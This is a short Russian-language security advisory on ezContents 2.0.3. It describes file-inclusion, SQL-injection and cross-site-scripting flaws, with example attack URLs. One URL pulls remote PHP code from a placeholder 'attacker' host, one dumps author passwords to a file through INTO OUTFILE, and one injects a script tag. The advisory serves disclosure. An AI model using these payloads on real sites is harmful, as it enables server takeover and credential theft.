Xakep #305. Многошаговые SQL-инъекции
Программа: ezContents 2.0.3, возможно другие версии.
Уязвимость позволяет удаленному пользователю произвести XSS нападение, выполнить произвольные SQL команды в базе данных приложения и выполнить произвольный PHP сценарий на целевой системе.
1. Уязвимость существует из-за недостаточной обработки входных данных в функции "moduleExternalLink()" в сценарии modules/moduleSec.php. Удаленный пользователь может просмотреть произвольные файлы или выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://attacker/file.php
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=/tmp/file.php%00
Уязвимость существует также в функции "isExternalLink()" в сценарии include/functions.php и в функции "adminExternalLink()" в сценарии admin/adminbutton.php.
2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "groupname" сценария headeruserdata.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
http://[host]/headeruserdata.php?groupname=' UNION SELECT userpassword FROM authors INTO OUTFILE '/www/passwd.txt' #
3. Уязвимость существует из-за недостаточной обработки входных данных в параметре "subgroupname" сценария loginreg2.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
http://[host]/loginreq2.php?subgroupname="><script>alert(666)</script>